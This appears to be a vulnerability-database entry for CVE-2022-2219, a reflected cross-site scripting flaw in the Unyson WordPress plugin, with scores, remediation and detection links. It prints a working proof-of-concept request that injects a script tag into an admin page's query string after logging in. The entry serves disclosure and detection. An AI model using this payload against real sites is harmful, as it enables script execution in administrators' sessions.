🔙 목록으로 돌아가기

CVE-2022-2219: Unyson < 2.7.27 - Cross Site Scripting

TitleUnyson < 2.7.27 - Cross Site Scripting
Authorr3Y3r53
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected website.
RemediationFixed in version 2.7.27
CVSS Score7.2
EPSS Score0.16573
CVE IDCVE-2022-2219
CWE IDCWE-79
Tags cve cve2022 authenticated wordpress wp xss unyson wp-plugin wpscan brizy vuln

🔍 Vulnerability Description

The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=zZVFt4&pwd=sGBUxE&wp-submit=Log+In
GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2219.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2219.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A